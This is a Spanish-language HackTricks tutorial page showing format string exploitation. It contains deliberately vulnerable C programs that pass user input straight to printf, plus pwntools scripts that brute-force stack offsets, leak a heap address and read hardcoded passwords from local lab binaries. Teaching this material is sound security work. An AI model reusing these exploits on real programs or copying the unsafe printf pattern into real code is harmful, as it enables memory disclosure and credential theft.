Format Strings - Arbitrary Read Example

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Inicio de Lectura Binaria

Código

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Compílalo con:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Explotar

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • El desplazamiento es 11 porque al establecer varias As y probar a la fuerza bruta con un bucle de desplazamientos de 0 a 50, se descubrió que en el desplazamiento 11 y con 5 caracteres adicionales (tubos | en nuestro caso), es posible controlar una dirección completa.

  • Usé %11$p con relleno hasta que vi que la dirección era completamente 0x4141414141414141

  • La carga útil de la cadena de formato está ANTES de la dirección porque el printf deja de leer en un byte nulo, por lo que si enviamos la dirección y luego la cadena de formato, el printf nunca alcanzará la cadena de formato al encontrar un byte nulo antes.

  • La dirección seleccionada es 0x00400000 porque es donde comienza el binario (sin PIE)

Leer contraseñas

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

Compílalo con:

clang -o fs-read fs-read.c -Wno-format-security

Leer desde la pila

La variable stack_password se almacenará en la pila porque es una variable local, por lo que simplemente abusar de printf para mostrar el contenido de la pila es suficiente. Este es un exploit para BF las primeras 100 posiciones para filtrar las contraseñas de la pila:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

En la imagen es posible ver que podemos filtrar la contraseña desde la pila en la posición 10ª:

Leer datos

Ejecutando el mismo exploit pero con %p en lugar de %s es posible filtrar una dirección de heap desde la pila en %25$p. Además, al comparar la dirección filtrada (0xaaaab7030894) con la posición de la contraseña en memoria en ese proceso, podemos obtener la diferencia de direcciones:

Ahora es el momento de encontrar cómo controlar una dirección en la pila para acceder desde la segunda vulnerabilidad de cadena de formato:

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

Y es posible ver que en el intento 14 con el paso utilizado podemos controlar una dirección:

Explotar

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()
Aprende hacking en AWS de cero a héroe con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización